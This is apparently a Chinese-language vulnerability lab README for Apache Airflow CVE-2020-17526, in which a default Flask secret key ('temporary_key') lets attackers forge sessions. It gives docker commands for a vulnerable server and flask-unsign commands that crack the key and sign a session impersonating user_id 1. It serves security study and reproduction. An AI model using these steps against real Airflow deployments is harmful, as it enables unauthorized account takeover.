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# Apache Airflow 默认密钥导致的权限绕过CVE-2020-17526
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow是一款开源的分布式任务调度框架。默认情况下Apache Airflow无需用户认证但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
参考链接:
- <https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0>
- <https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise>
## 漏洞环境
执行如下命令启动一个Apache Airflow 1.10.10服务器:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
服务器启动后,访问`http://your-ip:8080`即可查看到登录页面。
## 漏洞利用
首先我们访问登录页面服务器会返回一个签名后的Cookie
```
curl -v http://localhost:8080/admin/airflow/login
```
![](1.png)
然后,使用[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`
```
flask-unsign -u -c [session from Cookie]
```
![](2.png)
Bingo成功爆破出Key是`temporary_key`。使用这个key生成一个新的session其中伪造`user_id`为1
```
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
```
![](3.png)
在浏览器中使用这个新生成的session可见已成功登录
![](4.png)